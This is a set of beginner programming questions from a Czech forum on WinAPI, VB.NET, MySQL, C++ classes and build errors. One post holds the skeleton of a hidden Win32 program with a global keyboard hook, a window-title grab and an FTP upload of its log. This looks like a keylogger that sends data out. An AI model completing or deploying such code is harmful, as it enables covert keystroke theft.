#1 Tomáš Sedlmajer
Příspěvky odeslané z IP adresy 88.100.180.–
Zdravím, mám teď takový problém, který řeším už nějakou dobu a nic mě nenapadá (bohužel i google mě zklamal).
Vypisuju z databáze fotky, ke kterým jsou i komentáře (jiná tabulka). A potřebuju do dotazu kde se mi vypisují ty fotky přidat i počet komentářů, které jsou ke každé fotce. Je to "propojený" pomocí identifikačních čísel.
Takže potřebuji v dotazu ve kterém vypisuji fotky ještě sečíst počet komentářů s ID které náleží dané fotce. Snad to pochopíte správně, protože jsem ne moc dobře popsal.
Zdravím, potřebuji udělat časovač. Tedy, aby třeba každou pátou vteřinu, aby se provedl nějaký příkaz. Dělám to ve WinAPI
zatím jsem zkoušel
while(GetMessage(&msg, NULL, 0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
t = time(0);
if(localtime(&t)->tm_sec = 00 || 05 || 10 || 15 || 20 || 25 || 30 || 35 || 40 || 45 || 50 || 55)
{
out << localtime(&t)->tm_sec;
}
}
A pak mě napadlo udělat ještě prostě
while(GetMessage(&msg, NULL, 0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
while(now + 5 > localtime(&t)->tm_sec)
{
t = time(0);
if(localtime(&t)->tm_sec != nume) {
out << localtime(&t)->tm_sec << "\n";
nume = localtime(&t)->tm_sec;
} else {
out.close();
}
}
}
Tím si ale znemožním, aby fungovali další řádky, tedy program je zasmyčkován. Vím, že tady to funguje jen jednou do těch pěti vteřin. Ale když to zkouším dát do hlavní smyčky, tak tam ten čas běhá nějak divně. Prostě mi to nehází třeba vteřiny 1 2 3 4, ale 4 6 4 6 4 6 5 4 5.
Mohl by mi někdo poradit jak to udělám ve WinAPI ? Děkuji za odpověd
Zdravím, mám tu program bez okna ve Win32 (není to konzolová aplikace). Ale mám takový problém, program se okamžitě, vypne, jen co přejede všechny řádky. Vypne se, ikdyž je jsem tam měl while, ale jakoby ho přeskočil a jel dál. Potřebuju nějak udělat aby se nevypl, jedinná věc která ho zastavila byla MessageBox, ale ten nepotřebuji. Lze to nějak provést ?
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
GetWindowTextA(GetForegroundWindow(), cWindow, sizeof(cWindow));
HHOOK keyboardHook = SetWindowsHookEx(
WH_KEYBOARD_LL,
keyboardHookProc,
hInstance,
0);
internet = InternetOpen(("Naš ftp client"),INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,INTERNET_FLAG_ASYNC);
if(internet==NULL)
{
MessageBox(NULL,("Nepodarilo sa pripojiť k internetu. \nProsím skontrolujte stav Vášho pripojenia!"),("Chyba"),MB_OK | MB_ICONWARNING);
}
ftp = InternetConnect(internet,"********",INTERNET_DEFAULT_FTP_PORT,"*****","******",INTERNET_SERVICE_FTP,INTERNET_FLAG_PASSIVE ,NULL);
if(ftp==NULL)
{
MessageBox(NULL,("Nepodarilo sa pripojiť K FTP!!!"),("Chyba"),MB_OK | MB_ICONWARNING);
}
/* -->>>>>> NAHRAVANI!!
if(!FtpPutFile(ftp,nahraj,remotef,FTP_TRANSFER_TYPE_BINARY,NULL)) {
MessageBox(NULL, "chyba v nahravani.", "Information", MB_OK);
} */
// MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);
-- zde jsem zkoušel smyčku aby se program nevypl.
out.close();
return 0;
}
Zdravím, mám kód kde vytvořím pole objektů a potřebuju zjistit zda dané pole něco obsahuje...
např:
VisBaseEntity_cl * pEnt[maxX][maxY];
for(int y = 0; y < maxY; y++)
{
for(int x = 0; x < maxX; x++)
{
VisVector_cl vPos((25.f + x * 50.f),y * 120.f,0);
pEnt[x][y] = Game.CreateEntity(vPos, "models\\ammobox3.model");
}
}
// napr: xX = -1; yY = -1 -> v záporu není nikde xX ani yY definován a níže uvedená podmínka mi stejně uvede "existenci"
if(pEnt[xX][yY])
{
// kod kdyz existuje, něco obsahuje
}
// zkousel jsem také
if(pEnt[xX][yY] != NULL)
{
// kod kdyz existuje, něco obsahuje
}
Jak mám tedy zjistit že dané pole je prázdné ? :)
Zdravím, mám problém s třídou, potřebuju "nasdilet" hodnoty z jedne metody do druhe.. Tady je kód :
class Game {
private:
public:
void graphics(int screen_w, int screen_h, str name);
void inframe();
void init();
void copyent(TEntity ent1,TVec3 position);
};
void Game::graphics(int screen_w, int screen_h, str name) {
Initialize();
SetAppTitle(name);
Graphics(screen_w, screen_h);
}
void Game::init() {
CreateWorld();
TCamera cam = CreateCamera();
TMesh cu = CreateCube();
MoveEntity(cam,Vec3(0,0,-5));
PositionEntity(cu, Vec3(1.5, 0, 0));
Game::copyent(cu, Vec3(-1.5, 0, 0));
Game::copyent(cu, Vec3(-3, 0, 0));
}
void Game::copyent(TEntity ent1, TVec3 position) {
TEntity zent = CopyEntity(ent1);
PositionEntity(zent, position);
}
void Game::inframe() {
while(!KeyHit(KEY_ESCAPE) && !AppTerminate()) {
MoveEntity(cu, Vec3(0.02, 0, 0));
UpdateWorld();
RenderWorld();
Flip(0);
}
Terminate();
}
Tučné "hodnoty" z metody init() potřebuju mít ve třídě inframe(), ale nechci abych každý "obejkt" (napr. TMesh) musel zapisovat do třídy do Private/Public: ... Šlo by nějakým způsobem udělat, aby metody inframe() zdědila objekty z init() ? Předem děkuji za odpověd
To Miro1701 : 9 právě proto, že od 9 týho znaku chci vystrihnout tu vetu.. A proc pouzivam dve str ? To protoze potrebuju dve (a potom i více) stringů ze souboru v jiným " psaným formátu"
Tzn. že u každý druhý věty budu chtít aby se mi ta veta vypsala trochu jinak, viz. :
output.Text += "PositionEntity(obj" & obj & ", Vec3(" & pozice & "))" & System.Environment.NewLine
output.Text += "PositionEntity(obj" & obj & ", Vec3(" & str8.Substring(9) & "))" & System.Environment.NewLine
pozice = str.substring
Tady je muj kód, potřebuju dostat z txt souboru určité "věty", dělám to pomocí substring, ale ten my nefunguje ve smyčce, funguje jenom jeden, ostatní už ne..
Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
Dim obj As Integer = 0
Dim file As New IO.StreamReader("C:\Documents and Settings\nFx\Plocha\LESDK Game\levels\1.txt")
While Not file.EndOfStream
Dim str As String = file.ReadLine()
Dim str8 As String = file.ReadLine()
Dim rovno As Integer
Dim carka As Integer
Dim pozice As String
rovno = str.IndexOf("=")
carka = str.IndexOf(",")
pozice = str.Substring(rovno + 1)
output.Text += "PositionEntity(obj" & obj & ", Vec3(" & pozice & "))" & System.Environment.NewLine
output.Text += "PositionEntity(obj" & obj & ", Vec3(" & str8.Substring(9) & "))" & System.Environment.NewLine
obj += 1
End While
file.Close()
End Sub
str8 jde samotny, ale se substringem ne.. Hazí to chybu :
startIndex cannot be larger than length of string. Parameter name: startIndex
Přitom, délka stringu je vetší než 9... Neví někdo v čem je problém ?
zdravím, potřeboval bych poradit jakým způsobem mám udělat kód aby mi obsah souboru ve formátu:
position=7.17446756,-5.86093307e-008,-11.9476719
rotation=0.000000000,0.000000000,0.000000000
scale=1.00000000,1.00000000,1.00000000
name=Palma
path=tree_palm01.3ds
Převedlo do proměnných nebo je rovnou uložilo v soubou s jiným formátem. Např.:
SetModel = tree_palm0.3ds
SetPosition(7.17, -5.86, -11.9)
Tech "obejktů" je pod takovým způsobem mnohem víc, já potřebuju abych to nemusel dělat ručně, aby se mi to rychle převedlo samo.
Zkouším to s řetezceme:
fileReader = My.Computer.FileSystem.ReadAllText("C:\Documents and Settings\nFx\Plocha\LESDK Game\levels\1.txt")
Dim rovno As Integer = fileReader.IndexOf("=")
Dim carka As Integer = fileReader.IndexOf(",")
Dim carka2 As Integer = fileReader.IndexOf(",", carka + 1)
Dim znak As Integer = fileReader.IndexOf("rotation")
x = fileReader.Substring(rovno + 1, (carka - 1) - rovno)
y = fileReader.Substring(carka + 1, (carka2 - 1) - carka)
z = fileReader.Substring(carka2 + 1, (znak - 1) - carka2)
Takhle se mi vyberou hodnoty první pozice.. Ale potřeboval bych smyčku která mi uloží i ostatní, předpokládám, že tam budu potřebovat pole, ale nevím jak na tu smyčku. Nevíte o jednodusším způsobu, nebo jak mám udělat smyčku ?
Zdravím, chtěl bych nastavit zvyraznění určitého kódu, jako je napřiklad modře zvýrazněná podmínka if, nebo #include a takovéto kódy, nevím jak se tomu říká, takže se mi to špatně vyjadřuje :P.. Potřeboval bych takhle nastavit aby mi to zvyraznovalo třeba typedef neco, ktery je zapsan v souboru.h .. Nevím zda jste mě dobře pochopily, ale doufám, že ano :/
Jeden problém vyřešen, druhý nastal.. Googlim to už pěknou chvíly, ale nemůžu nic najít. Jde o to, žepotřebuju napsat třídu ve které přidám "Text" s parametry jako je pozice x, y textem a pak následně ten text vykreslit (což mám), ale potřebuju, když přidám víc těch "Textů" aby se mi vypsali všechny s hodnotama které jsem určil.
Zde je ta třída
http://bt20.over.cz/swText.h
Má někdo nějaký návrch ?
To Quiark : To Quiark : Ty dvě metody volám na dvou ruzných instacích, pokud instance znamená např: bool RenderFunc() { } - metoda vykreslení grafiky a bool FrameFunc() { } - metoda propočitání každého snímku...
Jednoduše potřuju aby hodnoty který zadám ve funkcni x.addtext() aby byli prejaty do x.render().. Nevím co myslíš tím uchovávání titulku :-/
To Quiark : Nefunguje:
swText x;
x.addtext(55, NULL, 58, 6356, NULL);
x.render();
x.addtext nemuzu tu druhou hodnotu nahradit NULL protoze by mi to nenasla texturu fontu, a ten NULL na konci, taky nemuze byt, protoze je text, kterej se ma vypsat, x_t a y_t jsou pozice toho textu...
Ta trida slouzi k vypsani textu v jedne 2D hře...
Moc si mi nepomohl :(,
Zdravím, udělal jsem si svoji třídu a nejde mi udělat aby se předávala hodnota z metody:
void swText::addtext(int _id, hgeFont *_fnt, float _xt, float _yt, char *_title) {
do metody:
void swText::render() {
Když dám příkaz z metody render() do metory addtext() tak to funguje - takže chyba je někde u předávání hodnot... (snad)
Tady je celý Class
class swText {
public:
void addtext(int id, hgeFont *fnt, float x_t, float y_t, char *title);
void render();
private:
int id;
hgeFont *fnt;
char *title;
float x_t;
float y_t;
};
void swText::addtext(int _id, hgeFont *_fnt, float _xt, float _yt, char *_title) {
id=_id;
fnt=_fnt;
x_t=_xt;
y_t=_yt;
title=_title;
}
void swText::render() {
if(x_t==NULL) {
MessageBox(NULL, "Nepredava hodnotu", "Error", MB_OK | MB_ICONERROR | MB_SYSTEMMODAL);
} else {
fnt->Render(x_t, y_t, HGETEXT_LEFT, title);
}
}
Vyletí ten MsgBox, DÍKY za odpověd ;)
Zdravím, mam tu problem, ktery uz nejakou chvily resim, ale nemuzu na nic prijit :-/, jde o to ze cely web je udelam pomoci <DIV> a CSS. Ale cele horni menu se me od poloviny da do druheho radku, a radek pod tim je "tabulka" udelana se zaoblenyma rohama pomoci obrazku- je tak tez pres dva radky... Ve FF, jde tak jak to ma vypadat, ale v IE ne. Vim ze IE zdvojnasobuje margin, ale co se tyce jinych nevyhod IE v cem by tu mohla byt chyba neznam..
Tady je link na web:
http://bt20.over.cz/couch/
O to posunuti celeho webu proti pozadi nejde.. Kazdy to jen tak lista od IC.cz
Zdravím, dělám si takový editor a chci, aby se v kódu zvýraznily HTML tagy. Mám to udělané takhle:
infxbot.SelectionStart = infxbot.Find("<b>")
infxbot.SelectionColor = Color.CornflowerBlue
Ale s tím se najde jen první <b> tag, jak udělám aby to hledalo dál. Chtěl jsem to zkusit pomocí While, ale nevím který prvek je "dočíst až do konce" ... Dekuji za odpovedi.
Zdravím, dělám oblíbéné položky do svého webbrowseru, udělal jsem to tak, že při načtení webbrowseru se každý řádek v jednom souboru s adresamy a každý řádek se přidá do ComboBoxu, vypisování funguje, ale když chci zapsat do souboru nový řádek, tak se vše ostatní přemaže.
Nevíte jak na to ?
To Quiark : :-(, to nechapu... Do prvniho formulare odkud spustim druhy dam tenhle kod:
editor_e editorial = new editor_e();
editorial.Form1 = this;
editorial.Show();
Ale to je kravina... Nepochopil jsem co myslis tim .první (chápu jako formular prvníale nechapu jak to mam dosadit, pokud to dam bez editor_e pred editorial tak mi to haze chybu ze neexistuje jmeno editorial v tomto kontextu, coz docela chapu)
Mohl by jsi to upřesnit ? :-)
p-r-ed-a-t-o-r napsal:
ze sa nevyznam xD
chlapce mam na konte uz aj hru ;)
iba sa moc nevyznam v oblasti WEB :/
a napadlo ma ze by som to spravil inak jednoducho by som premiestil mysku na urcite pozicie a simuloval kliknutie :)
Můžeš mi dát link na tu tvou hru ? Rád bych se mkrnul :-)
Zdravím, zkouším udělat webbrowser s HTML editorem... Když dělám HTML editor tak chci "preview" ve formuláři s Webbrowserem. Nevíte prosím Vás někdo jak zavolat komponentu WebBrowser z jiného formuláře ?
Ve VB.net to jde Form1.WebBroswser.prikaz atd.atd. Ale zde už si nevím rady.
Tak mám další problém :-(... Tenhle kod by mel zjistit pokud uzivatel uz v listboxu(chatlist) je a pokud neni tak se prida...
Private Sub chatload()
cmd1.Connection = LoginForm1.connecte
LoginForm1.connecte.Open()
cmd1.CommandText = "SELECT * FROM users WHERE (status = 'on')"
userson = cmd1.ExecuteReader()
While (userson.Read())
For Each thisobj As String In chatlist.Items
If thisobj <> userson.GetString(0) Then
chatlist.Items.Add(userson.GetString(0))
Else
MsgBox(userson.GetString(0))
End If
Next
End While
LoginForm1.connecte.Close()
End Sub
Bohuzel se nic nestane, kdyz ale pridam rucne do listboxu uzivatele (ktery obsahuje i databaze) tak vse funguje normalne, problem je ze kdyz tam neni tak se neprida...
Nevíte někdo proč ? Dekuji
Zdravím, dělám program ve kterém bude přihlašovací systém se zabudovaným chatem...
Systém přihlášování a registrace už mám hotov, a je funkční, teď jsem se vrhnul do chatu, kde dělám aby se při přihlášení do programu přihlásil i do chatu. Zkouším to tak, že mám refresh cca 1 minutu u Listboxu do ktereho se pridavaji online uzivatele... (v tabulce s uzivatelem je polozka status - kdyz je on(line) a off(line)), ale níže uvedeným kódem se mi přihlášení uživatelé přidávají pořád (a je to i logické podle kódu), ale nevím jak udělat aby se přidávali jen ti co byli off.. A také netuším jak bych udělal odhlašovací systém (když by uživatel vypnul program aniž by se odhlásil).
cmd1.Connection = LoginForm1.connecte
LoginForm1.connecte.Open()
cmd1.CommandText = "SELECT * FROM users WHERE (status = 'on')"
userson = cmd1.ExecuteReader()
While (userson.Read())
chatlist.Items.Add(userson.GetString(0))
chat.AppendText(Environment.NewLine())
End While
LoginForm1.connecte.Close()
Má někdo jiný nápad, nebo podobný, ale ví jak ten kód udělat ?
Program je ve VB.net a MySQL
Děkuji za všechny odpovědi
Zdravím,
tak tu mám zase problém s VB.net a MySQL, přidávání informací do MySQL mi jde bez problemů, ale když je chci vydolovat tak už je to horší.. Četl jsem pár tutorialů a většině se použivá DataTable. Když ale přidám Data (Dim dt As DataTable) a následně ji použiju přes MySQLDataAdapter ( dataadapter.Fill(dt) ), tak mi program vyhodí chybu, že DataTable nesmí být NULL. Mám takový dojem, že ji musím zase přidat do formuláře jako komponentu, ale když ji zkouším najít tak jí v ToolBoxu nemam a ani když ji hledám v .NET komponentech tak není ani tam.
Nevíte někdo kde bych mohl sehnat tuto komponentu nebo vyndat data jiným způsobem než pres DataTable ? Děkuji za odpověd(i)
Ahoj, zkouším propojit VB a MySQL s oficialním "connectorem", overeni pripojemi:
Try
connect.Open()
MsgBox("Pripojeni bylo uspesne!")
connect.Close()
Catch myerror As Exception
MessageBox.Show("Chyba pripojeni db: " & myerror.Message)
Finally
connect.Dispose()
End Try
To fugnuje, vyskočí tabulka s Pripojeni bylo uspesne! Pakliže dám do kódu nějaký příkaz:
Try
connect.Open()
mycmd.CommandText = "INSERT INTO users VALUES('tomas', 'prijmeni')"
mycmd.ExecuteNonQuery()
connect.Close()
Catch myerror As Exception
MessageBox.Show("Chyba pripojeni db: " & myerror.Message)
Finally
connect.Dispose()
End Try
Vyskočí tabulka s chybou: "Chyba pripojeni db: Odkaz na objekt není nastaven na instanci objektu."
Nevíte někdo kde dělám chybu ?
zdravím, na microsoftu jsem nasel jednodussi engine her jak 2D i 3D... Ale mám problem s instalaci, respektive, uz asi 10x jsem to zkusil nainstalovat podle navodu ktery na webu je, po instalaci se ma vlozit wizzard do VS C++, ale u me se tak nestane... Je to mozne tim ze mam VS C++ na jinem disku nez je windows a engine ?
http://gdk.thegamecreators.com/?f=install
Ahoj,
chvily to uz resim, ale nevim si rady.. Chtel bych upload souboru bez formulare, ale nevim jak uvest promennou hodnotu $soubor, treba v tomto pripade
<?
if ($soubor_type == "text/plain" or $soubor_type="text/html") {
if (copy ($soubor, "$soubor_name")) {
print "Soubor $soubor_name o
velikosti $soubor_size bajtu
byl úspešne uploadnut na server<BR> $soubor";
}
else {
print "Pri nahrávání souboru došlo k chybe!<BR>";
}
}
else {
print "Soubor není požadového typu!<BR>";
}
?>
jinaq napsal:
Zkus se podívat na toto: http://www.csharphelp.com/archives/archive9.html. Ovsem, pokud to scháníš na c++, tak by si to měl hodit do jiné kategorie.
No delam pres Visual C++, a nekdo mi uz rikal at ho hazim sem kdyz to delam...
zdravim, [C++]
zkousim udelat jednoduchy program na uploadovani souboru na ftp... Zkousel jsem uz googlovat, ale nic, a kdyz neco bylo, tak mi hazelo ruzne chyby, proto jsem se chtel zeptat , jestli nekdo vi jak se jednoduse pripojit na ftp a uploadovat tam urcity soubor.
Dekuji predem
Tady je ten log na který to odkazuje, teď už vím, že to nemůže najít "winres.h", ale byl bych rád, kdyby jste pomohli kde sebrat tento soubor, počítám že je to nejspíš nějaká komponenta. V čem je tedy nějak tak chyba ?
Build Log
Build started: Project: olol, Configuration: Debug|Win32
Command Lines
winapy : warning PRJ0041 : Cannot find missing dependency 'winres.h' for file 'olol.rc'. Your project may still build, but may continue to appear out of date until this file is found.
Creating temporary file "c:\Documents and Settings\Tomáš\Plocha\Projects\winapy\winapy\obj\Debug\RSP0000011992964.rsp" with contents
[
/Od /I "include" /I "c:\OgreSDK\include" /I "c:\OgreSDK\samples\include" /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /Gm /EHsc /RTC1 /MDd /Gy /fp:fast /Fo"obj\Debug\\" /Fd"obj\Debug\vc80.pdb" /W3 /c /Wp64 /ZI /TP ".\src\olol.cpp"
]
Creating command line "cl.exe @"c:\Documents and Settings\Tomáš\Plocha\Projects\olol\olol\obj\Debug\RSP0000011992964.rsp" /nologo /errorReport:prompt"
Creating command line "rc.exe /fo"obj\Debug/olol.res" ".\res\olol.rc""
Output Window
Compiling...
olol.cpp
Compiling resources...
.\res\olol.rc(10) : fatal error RC1015: cannot open include file 'winres.h'.
Results
Build log was saved at "file://c:\Documents and Settings\Tomáš\Plocha\Projects\olol\olol\obj\Debug\BuildLog.htm"
olol - 1 error(s), 0 warning(s)
j, máš pravdu s tím jak se mám ptát, to přiznávám chybu na své straně, co se týče google, tak tam jsem taky zkoušel hledat, našel jsem akorát abych zkusil přeinstalovat Visual Stadio nebo nainstaloval SP1, což jsem udělal...bukaj napsal:
aTTix
nemůžu za to, že jsem začátečník
Nevymlouvej se na to, že jsi začátečník. Za tohle by každý, kdo se takhle vykecává, zasloužil poslat do určitých míst... :o)
Určitě by ti neuškodilo si přečíst, jak se správně ptát[1]. A také bych nezapomínal na Google. Na SRP dotazu s kusem chybové hlášky[2] (či jiným kusem) bys něco najít mohl.
[1] http://www.hash.cz/inferno/otazky.html
[2] http://www.google.com/search?q=%22Error+result+-1073741515+returned+from%22
Aha, omg.. Vsichni nejsou tak dobří jako ty, nemůžu za to, že jsem začátečník, všichni jednou začínáli. A už vůbec nechápu proč to píšeš když je pro tebe námaha si to přečíst a upřesnit za jakých podmínek by jsi mohl poradit... DÍKY, není to poprvé a zdá se mi, že na programujte.com chodí jen banda dem*ntů, co neporadí a ještě píše kraviny!KIIV napsal:
uzasne... nicnerikajici ztrata casu to cist
Zdarvím,
mám problém s kompilací aplikace ať už jde o Windows aplikaci či konzolovou aplikaci...
Zde je chyba která se mě vypíše:
------ Build started: Project: olol, Configuration: Debug Win32 ------
Compiling...
Project : error PRJ0002 : Error result -1073741515 returned from 'C:\Program Files\Microsoft Visual Studio 8\VC\bin\cl.exe'.
Build log was saved at "file://c:\Documents and Settings\Tomáš\Plocha\Projects\olol\olol\Debug\BuildLog.htm"
olol - 1 error(s), 0 warning(s)
========== Build: 0 succeeded, 1 failed, 0 up-to-date, 0 skipped ==========
Ahoj, už to hledám celkem pěknou chvíly, ale v žadných seriálech jsem to nenašel, tak se zeptam Vás.
Jak udělam aby se mi vypsalo z určitého sloupce jen několik znaků... Např.: Byl by web kde jsou novinky, ale nekde se nevypíšou celé ale zobrazí to třeba 200 znáků z textu a potom automaticky doplňí tři tečky. Jak toho docílím?